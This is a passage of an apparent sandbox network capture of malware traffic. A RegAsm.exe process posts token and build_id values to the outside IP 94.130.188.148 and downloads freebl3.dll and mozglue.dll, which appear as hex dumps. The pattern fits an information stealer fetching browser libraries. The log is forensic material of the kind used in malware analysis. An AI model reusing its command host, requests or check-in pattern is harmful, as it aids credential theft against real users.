------BFHDAEHDAKECGCAKFCFIContent-Disposition: form-data; name="token"4ac2cc3efe7248949cf68f33db2291bd------BFHDAEHDAKECGCAKFCFIContent-Disposition: form-data; name="build_id"3cfc20875310168e85cacc85bfe8cfb9------BFHDAEHDAKECGCAKFCFICont
2024-08-30 01:18:05 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:18:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-30 01:18:05 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49781	94.130.188.148	443	6784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:18:05 UTC	307	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGIIJJECFIDHJJKKFC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Host: 94.130.188.148 Content-Length: 1529 Connection: Keep-Alive Cache-Control: no-cache
2024-08-30 01:18:05 UTC	1529	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 63 32 63 63 33 65 66 65 37 32 34 38 39 34 39 63 66 36 38 66 33 33 64 62 32 32 39 31 62 64 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 63 66 63 32 30 38 37 35 33 31 30 31 36 38 65 38 35 63 61 63 63 38 35 62 66 65 38 63 66 62 39 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 43 0d 0a 43 6f 6e 74 Data Ascii: ------EGDGIIJJECFIDHJJKKFCContent-Disposition: form-data; name="token"4ac2cc3efe7248949cf68f33db2291bd------EGDGIIJJECFIDHJJKKFCContent-Disposition: form-data; name="build_id"3cfc20875310168e85cacc85bfe8cfb9------EGDGIIJJECFIDHJJKKFCCont
2024-08-30 01:18:06 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:18:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-30 01:18:06 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49782	94.130.188.148	443	6784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:18:07 UTC	306	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAKJKJJJECFIEBFHIEG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Host: 94.130.188.148 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-08-30 01:18:07 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 63 32 63 63 33 65 66 65 37 32 34 38 39 34 39 63 66 36 38 66 33 33 64 62 32 32 39 31 62 64 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 63 66 63 32 30 38 37 35 33 31 30 31 36 38 65 38 35 63 61 63 63 38 35 62 66 65 38 63 66 62 39 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 0d 0a 43 6f 6e 74 Data Ascii: ------CBAKJKJJJECFIEBFHIEGContent-Disposition: form-data; name="token"4ac2cc3efe7248949cf68f33db2291bd------CBAKJKJJJECFIEBFHIEGContent-Disposition: form-data; name="build_id"3cfc20875310168e85cacc85bfe8cfb9------CBAKJKJJJECFIEBFHIEGCont
2024-08-30 01:18:08 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:18:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-30 01:18:08 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49784	94.130.188.148	443	6784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:18:08 UTC	306	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDBFBKKJDHJKECBGDAK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Host: 94.130.188.148 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-08-30 01:18:08 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 63 32 63 63 33 65 66 65 37 32 34 38 39 34 39 63 66 36 38 66 33 33 64 62 32 32 39 31 62 64 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 63 66 63 32 30 38 37 35 33 31 30 31 36 38 65 38 35 63 61 63 63 38 35 62 66 65 38 63 66 62 39 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 0d 0a 43 6f 6e 74 Data Ascii: ------HJDBFBKKJDHJKECBGDAKContent-Disposition: form-data; name="token"4ac2cc3efe7248949cf68f33db2291bd------HJDBFBKKJDHJKECBGDAKContent-Disposition: form-data; name="build_id"3cfc20875310168e85cacc85bfe8cfb9------HJDBFBKKJDHJKECBGDAKCont
2024-08-30 01:18:09 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:18:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-30 01:18:09 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49787	94.130.188.148	443	6784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:18:09 UTC	225	OUT	GET /freebl3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Host: 94.130.188.148 Connection: Keep-Alive Cache-Control: no-cache
2024-08-30 01:18:09 UTC	260	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:18:09 GMT Content-Type: application/octet-stream Content-Length: 685392 Connection: close Last-Modified: Friday, 30-Aug-2024 01:18:09 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-08-30 01:18:09 UTC	16124	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHS
2024-08-30 01:18:09 UTC	16384	IN	Data Raw: ff 13 bd 10 ff ff ff 01 c8 89 45 b4 11 df 89 7d c8 89 f2 31 fa 8b 4d 98 31 c1 89 ce 0f a4 d6 10 89 b5 58 ff ff ff 0f ac d1 10 89 4d 98 8b 7d ec 01 cf 89 7d ec 8b 55 e0 11 f2 89 55 e0 31 d3 8b 4d 8c 31 f9 89 da 0f a4 ca 01 89 55 88 0f a4 d9 01 89 4d 8c 8b 5d d4 03 9d 20 ff ff ff 8b 45 cc 13 85 48 ff ff ff 03 5d 94 13 45 9c 89 45 cc 8b bd 7c ff ff ff 31 c7 8b 45 a8 31 d8 89 45 a8 8b 4d c4 01 f9 89 4d c4 8b 75 bc 11 c6 89 75 bc 8b 55 94 31 ca 8b 4d 9c 31 f1 89 d0 0f a4 c8 08 0f a4 d1 08 89 4d 9c 03 9d 04 ff ff ff 8b 75 cc 13 b5 08 ff ff ff 01 cb 89 5d d4 11 c6 89 75 cc 8b 4d a8 31 f1 31 df 89 fa 0f a4 ca 10 89 55 94 0f ac cf 10 89 bd 7c ff ff ff 8b 75 c4 01 fe 89 75 c4 8b 4d bc 11 d1 89 4d bc 31 c8 8b 5d 9c 31 f3 89 c1 0f a4 d9 01 89 8d 78 ff ff ff 0f a4 c3 Data Ascii: E}1M1XM}}UU1M1UM] EH]EE\|1E1EMMuuU1M1Mu]uM11U\|uuMM1]1x
2024-08-30 01:18:09 UTC	16384	IN	Data Raw: 08 89 88 90 00 00 00 31 d6 89 b0 9c 00 00 00 89 90 98 00 00 00 8b 4d e8 89 fa 31 ca c1 c2 08 31 d1 89 d6 89 88 a4 00 00 00 8b 4d d8 8b 55 d4 31 ca c1 c2 08 89 b0 a0 00 00 00 31 d1 89 88 ac 00 00 00 89 90 a8 00 00 00 8b 4d c0 8b 55 c4 31 d1 c1 c1 08 31 ca 89 90 b4 00 00 00 8b 95 54 ff ff ff 8b 75 bc 31 d6 c1 c6 08 89 88 b0 00 00 00 31 f2 89 90 bc 00 00 00 89 b0 b8 00 00 00 81 c4 d8 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 00 01 00 00 89 95 78 ff ff ff 89 cf ff 31 e8 a2 90 07 00 83 c4 04 89 45 bc ff 77 04 e8 94 90 07 00 83 c4 04 89 45 b8 ff 77 08 e8 86 90 07 00 83 c4 04 89 45 c0 ff 77 0c e8 78 90 07 00 83 c4 04 89 45 dc ff 77 10 e8 6a 90 07 00 83 c4 04 89 c6 ff 77 14 e8 5d 90 07 00 83 c4 04 89 c3 ff 77 18 e8 50 90 Data Ascii: 1M11MU11MU11Tu11^_[]USWVx1EwEwEwxEwjw]wP
2024-08-30 01:18:10 UTC	16384	IN	Data Raw: 83 c4 0c 8a 87 18 01 00 00 30 03 8a 87 19 01 00 00 30 43 01 8a 87 1a 01 00 00 30 43 02 8a 87 1b 01 00 00 30 43 03 8a 87 1c 01 00 00 30 43 04 8a 87 1d 01 00 00 30 43 05 8a 87 1e 01 00 00 30 43 06 8a 87 1f 01 00 00 30 43 07 8a 87 20 01 00 00 30 43 08 8a 87 21 01 00 00 30 43 09 8a 87 22 01 00 00 30 43 0a 8a 87 23 01 00 00 30 43 0b 8a 87 24 01 00 00 30 43 0c 8a 87 25 01 00 00 30 43 0d 8a 87 26 01 00 00 30 43 0e 8a 87 27 01 00 00 30 43 0f 0f 10 45 e0 0f 11 87 18 01 00 00 8b 4d f0 31 e9 e8 ad 4e 07 00 31 c0 83 c4 1c 5e 5f 5b 5d c3 cc cc cc 55 89 e5 68 28 01 00 00 e8 42 50 07 00 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 24 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 85 c9 74 50 8b 45 10 8d 50 f0 83 fa 10 77 45 be 01 01 01 00 0f Data Ascii: 00C0C0C0C0C0C0C 0C!0C"0C#0C$0C%0C&0C'0CEM1N1^_[]Uh(BP]USWV$M01EtPEPwE
2024-08-30 01:18:10 UTC	16384	IN	Data Raw: e6 fc 03 00 00 33 8e 70 3b 08 10 8b 75 e0 89 5e 1c c1 e8 18 33 0c 85 70 3f 08 10 89 56 20 8b 45 f0 8b 5d ec 29 d8 05 33 37 ef c6 0f b6 d4 8b 14 95 70 37 08 10 0f b6 f0 33 14 b5 70 33 08 10 89 c6 c1 ee 0e 81 e6 fc 03 00 00 33 96 70 3b 08 10 8b 75 e0 89 7e 24 c1 e8 18 33 14 85 70 3f 08 10 89 4e 28 89 56 2c 8b 45 e8 89 c7 0f a4 df 08 0f a4 c3 08 89 5d ec 8b 45 e4 01 f8 05 99 91 21 72 0f b6 cc 8b 0c 8d 70 37 08 10 0f b6 d0 33 0c 95 70 33 08 10 89 c2 c1 ea 0e 81 e2 fc 03 00 00 33 8a 70 3b 08 10 c1 e8 18 33 0c 85 70 3f 08 10 89 4e 30 8b 75 f0 89 f1 29 d9 81 c1 67 6e de 8d 0f b6 c5 8b 04 85 70 37 08 10 0f b6 d1 33 04 95 70 33 08 10 89 ca c1 ea 0e 81 e2 fc 03 00 00 33 82 70 3b 08 10 c1 e9 18 33 04 8d 70 3f 08 10 89 f1 8b 55 e4 0f a4 d6 18 89 75 e8 0f ac d1 08 89 Data Ascii: 3p;u^3p?V E])37p73p33p;u~$3p?N(V,E]E!rp73p33p;3p?N0u)gnp73p33p;3p?Uu
2024-08-30 01:18:10 UTC	16384	IN	Data Raw: c7 45 bc 00 00 00 00 8d 45 e0 50 e8 04 5a 04 00 83 c4 04 85 c0 89 7d a8 0f 88 d4 01 00 00 8d 45 d0 50 e8 ed 59 04 00 83 c4 04 85 c0 0f 88 c0 01 00 00 8d 45 c0 50 e8 d9 59 04 00 83 c4 04 85 c0 0f 88 ac 01 00 00 8d 45 b0 50 e8 c5 59 04 00 83 c4 04 89 c3 85 c0 0f 88 98 01 00 00 8d 46 04 8b 4d ac 83 c1 04 50 51 57 e8 ae d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 7c 01 00 00 8b 45 ac ff 70 0c ff 70 08 8d 45 c0 50 e8 48 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 5b 01 00 00 8d 46 10 8b 4d ac 83 c1 10 50 51 ff 75 a8 e8 6f d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 3d 01 00 00 8b 45 ac ff 70 18 ff 70 14 8d 45 e0 50 e8 09 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 1c 01 00 00 8b 4e 0c b8 40 00 00 00 81 f9 7f 07 00 00 77 2c b8 30 00 00 00 81 f9 bf 03 00 00 77 1f b8 20 00 00 00 81 f9 7f 01 00 Data Ascii: EEPZ}EPYEPYEPYFMPQW\|EppEPH[FMPQuo=EppEPN@w,0w
2024-08-30 01:18:10 UTC	16384	IN	Data Raw: 44 24 70 50 e8 5b 1c 04 00 83 c4 04 8d 44 24 60 50 e8 4e 1c 04 00 83 c4 04 8d 44 24 50 50 e8 41 1c 04 00 83 c4 04 8d 44 24 40 50 e8 34 1c 04 00 83 c4 04 8d 44 24 30 50 e8 27 1c 04 00 83 c4 04 8d 44 24 20 50 e8 1a 1c 04 00 83 c4 04 83 c6 04 83 fe 04 77 1a b8 13 e0 ff ff ff 24 b5 74 55 08 10 b8 05 e0 ff ff eb 0c b8 02 e0 ff ff eb 05 b8 01 e0 ff ff 50 e8 7d 90 06 00 83 c4 04 e9 75 fb ff ff cc cc 55 89 e5 53 57 56 81 ec ac 00 00 00 89 cb 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 73 08 83 c6 07 c1 ee 03 85 c9 74 1b 8b 41 04 80 38 04 0f 85 c2 01 00 00 8d 04 36 83 c0 01 39 41 08 0f 85 b3 01 00 00 89 95 48 ff ff ff c7 45 ec 00 00 00 00 c7 45 dc 00 00 00 00 c7 45 cc 00 00 00 00 c7 45 bc 00 00 00 00 c7 45 ac 00 00 00 00 c7 45 9c 00 00 00 00 c7 45 8c 00 00 00 00 c7 Data Ascii: D$pP[D$`PND$PPAD$@P4D$0P'D$ Pw$tUP}uUSWVM01EstA869AHEEEEEEE
2024-08-30 01:18:10 UTC	16384	IN	Data Raw: 89 f8 f7 65 c8 89 55 84 89 85 0c fd ff ff 89 f8 f7 65 c4 89 95 4c fd ff ff 89 85 58 fd ff ff 89 f8 f7 65 d4 89 95 ac fd ff ff 89 85 b4 fd ff ff 89 f8 f7 65 d8 89 95 30 fe ff ff 89 85 40 fe ff ff 89 f8 f7 65 e4 89 95 a0 fe ff ff 89 85 a4 fe ff ff 89 f8 f7 65 e0 89 95 c4 fe ff ff 89 85 cc fe ff ff 89 f8 f7 65 dc 89 95 ec fe ff ff 89 85 f0 fe ff ff 89 d8 f7 e7 89 95 10 ff ff ff 89 85 18 ff ff ff 8b 75 94 89 f0 f7 65 9c 89 85 30 fd ff ff 89 55 88 8b 45 c8 8d 14 00 89 f0 f7 e2 89 95 90 fd ff ff 89 85 98 fd ff ff 89 f0 f7 65 c4 89 95 f0 fd ff ff 89 85 f8 fd ff ff 89 f0 f7 65 90 89 55 90 89 85 9c fe ff ff 89 f0 f7 65 d8 89 95 b8 fe ff ff 89 85 bc fe ff ff 89 f0 f7 65 ec 89 95 e4 fe ff ff 89 85 e8 fe ff ff 89 f0 f7 65 e0 89 95 20 ff ff ff 89 85 24 ff ff ff 89 f0 Data Ascii: eUeLXee0@eeeue0UEeeUeee $
2024-08-30 01:18:10 UTC	16384	IN	Data Raw: 4f 34 89 4d e4 8b 4f 30 89 4d d4 8b 4f 2c 89 4d bc 8b 4f 28 89 4d a8 89 75 c8 89 45 d8 8b 47 24 89 45 c0 8b 77 20 89 75 ac 8b 4f 08 89 4d e0 89 f8 89 7d ec 8b 5d a8 01 d9 8b 3f 01 f7 89 7d cc 8b 70 04 13 75 c0 89 75 b8 83 d1 00 89 4d d0 0f 92 45 b4 8b 70 0c 8b 55 bc 01 d6 8b 48 10 8b 45 d4 11 c1 0f 92 45 90 01 d6 11 c1 0f 92 45 e8 01 c6 89 45 d4 13 4d e4 0f 92 45 f0 01 5d e0 0f b6 7d b4 8d 04 06 11 c7 0f 92 45 b4 8b 45 c0 01 45 cc 11 5d b8 8b 45 bc 8b 55 d0 8d 1c 02 83 d3 00 89 5d e0 0f 92 c3 01 c2 0f b6 db 8b 45 e4 8d 14 07 11 d3 89 5d d0 0f 92 c2 03 75 d4 0f b6 45 b4 8b 5d e4 8d 34 19 11 f0 89 45 9c 0f 92 45 a4 01 df 0f b6 d2 8b 75 c8 8d 34 30 11 f2 0f 92 45 df 80 45 90 ff 8b 75 ec 8b 46 14 89 45 94 8d 04 03 89 df 83 d0 00 89 45 b4 0f 92 45 98 80 45 e8 Data Ascii: O4MO0MO,MO(MuEG$Ew uOM}]?}puuMEpUHEEEEME]}EEE]EU]E]uE]4EEu40EEuFEEEE
2024-08-30 01:18:10 UTC	16384	IN	Data Raw: ee 1a 01 c2 89 95 08 ff ff ff 8b bd 2c ff ff ff 89 f8 81 e7 ff ff ff 01 8d 0c fe 89 d6 c1 ee 1d 01 f1 89 8d 04 ff ff ff c1 e8 19 8b bd 30 ff ff ff 89 fe 81 e7 ff ff ff 03 8d 3c f8 89 c8 c1 e8 1c 01 c7 c1 ee 1a 8b 9d 34 ff ff ff 89 d8 81 e3 ff ff ff 01 8d 1c de 89 fe c1 ee 1d 01 f3 c1 e8 19 8b b5 38 ff ff ff 89 f1 81 e6 ff ff ff 03 8d 04 f0 89 de c1 ee 1c 01 f0 89 c6 25 ff ff ff 1f 89 85 38 ff ff ff c1 e9 1a c1 ee 1d 8d 04 0e 01 f1 83 c1 ff 89 8d 14 ff ff ff 8b 8d 0c ff ff ff c1 e1 03 81 e1 f8 ff ff 1f 8d 0c 41 89 8d 18 ff ff ff 8b b5 10 ff ff ff 81 e6 ff ff ff 0f 89 c1 c1 e1 0b 29 ce 8b 8d 14 ff ff ff c1 e9 1f 89 8d 14 ff ff ff 83 c1 ff 89 ca 81 e2 00 00 00 10 01 d6 89 b5 24 ff ff ff 8b b5 08 ff ff ff 81 e6 ff ff ff 1f 89 ca 81 e2 ff ff ff 1f 01 d6 89 b5 Data Ascii: ,0<48%8A)$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49788	94.130.188.148	443	6784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:18:11 UTC	225	OUT	GET /mozglue.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Host: 94.130.188.148 Connection: Keep-Alive Cache-Control: no-cache
2024-08-30 01:18:11 UTC	260	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:18:11 GMT Content-Type: application/octet-stream Content-Length: 608080 Connection: close Last-Modified: Friday, 30-Aug-2024 01:18:11 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-08-30 01:18:11 UTC	16124	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W,
2024-08-30 01:18:11 UTC	16384	IN	Data Raw: 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 31 ff ff ff 8d 41 24 50 e8 fb 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 62 ff ff ff 8d 41 24 50 e8 df 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc eb 92 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 56 8b 75 0c 8b 8e b0 00 00 00 83 f9 10 0f 83 e4 00 00 00 c7 86 ac 00 00 00 00 00 00 00 c7 86 b0 00 00 00 0f 00 00 00 c6 86 9c 00 00 00 00 8b 8e 98 00 00 00 83 f9 10 0f 83 e0 00 00 00 c7 86 94 00 00 00 00 00 00 00 c7 86 98 00 00 00 0f 00 00 00 c6 86 84 00 00 00 00 8b 8e 80 00 00 00 83 f9 10 0f 83 dc 00 00 00 c7 46 7c 00 00 00 00 c7 86 80 00 00 00 0f 00 00 00 c6 46 6c 00 8b 4e 68 83 f9 10 0f 83 de 00 00 00 c7 46 64 00 00 00 00 c7 46 68 0f 00 00 00 c6 46 54 00 8b 4e 50 83 f9 10 0f 83 e3 00 00 00 c7 46 Data Ascii: #H1A$P~#HbA$P~#HUVuF\|FlNhFdFhFTNPF
2024-08-30 01:18:11 UTC	16384	IN	Data Raw: 45 a8 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 bd 05 00 00 50 e8 7a d3 01 00 83 c4 04 e9 e1 f9 ff ff 8b 45 90 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 b4 05 00 00 50 e8 57 d3 01 00 83 c4 04 e9 dc f9 ff ff 8b 85 78 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 a8 05 00 00 50 e8 31 d3 01 00 83 c4 04 e9 d4 f9 ff ff 8b 85 60 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 9c 05 00 00 50 e8 0b d3 01 00 83 c4 04 e9 d2 f9 ff ff 8b 85 48 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 90 05 00 00 50 e8 e5 d2 01 00 83 c4 04 e9 d6 f9 ff ff 8b b5 24 ff ff ff 89 0e 8b 85 2c ff ff ff 89 46 04 8b 4d f0 31 e9 e8 52 27 03 00 89 f0 81 c4 d0 00 00 00 5e 5f 5b 5d c3 89 f1 89 fa ff b5 30 ff ff ff e9 30 f4 ff ff 89 f1 81 c6 4c ff ff ff 39 c8 74 63 8d 8d 3c ff ff Data Ascii: EPzEPWxP1`PHP$,FM1R'^_[]00L9tc<
2024-08-30 01:18:11 UTC	16384	IN	Data Raw: c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 03 b9 59 17 b7 d1 89 f8 f7 e1 89 d1 c1 e9 0d 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 02 89 f8 c1 e8 05 b9 c5 5a 7c 0a f7 e1 89 d1 c1 e9 07 bb ff 00 00 00 89 c8 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c1 80 c9 30 ba 83 de 1b 43 89 f8 f7 e2 8b 06 8b 7d 08 88 4c 38 01 c1 ea 12 89 d0 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c2 80 ca 30 89 f1 8b 06 8b 75 08 88 14 06 8b 39 8d 47 07 89 01 83 c7 0d b9 cd cc cc cc 8b 75 ec 89 f0 f7 e1 89 d1 c1 e9 03 8d 04 09 8d 04 80 89 f3 29 c3 80 cb 30 89 c8 ba cd cc cc cc f7 e2 8b 45 08 88 1c 38 89 c3 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 7d 0c 8b 07 88 4c 18 05 b9 1f 85 Data Ascii: )0LY)0LZ\|!i(0C}L8!i(0u9Gu)0E8)0}L
2024-08-30 01:18:11 UTC	16384	IN	Data Raw: 04 89 45 f0 8b 06 8b 4e 04 85 c9 0f 8e b3 00 00 00 31 c9 8d 14 08 83 c2 0c f2 0f 10 42 f4 8b 5d f0 f2 0f 11 04 0b 8b 7a fc c7 42 fc 00 00 00 00 89 7c 0b 08 8b 1e 8b 7e 04 8d 3c 7f 8d 3c bb 83 c1 0c 39 fa 72 cd e9 81 00 00 00 8b 06 8d 0c 49 8d 0c 88 89 4d f0 31 d2 8d 1c 10 83 c3 0c f2 0f 10 43 f4 f2 0f 11 04 17 8b 4b fc c7 43 fc 00 00 00 00 89 4c 17 08 83 c2 0c 3b 5d f0 72 da 8b 46 04 85 c0 0f 8e 02 ff ff ff 8b 1e 8d 04 40 8d 04 83 89 45 f0 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 ec 52 01 00 83 c4 04 83 c3 0c 3b 5d f0 0f 83 d4 fe ff ff eb db 31 c0 40 89 45 ec e9 27 ff ff ff 8d 0c 49 8d 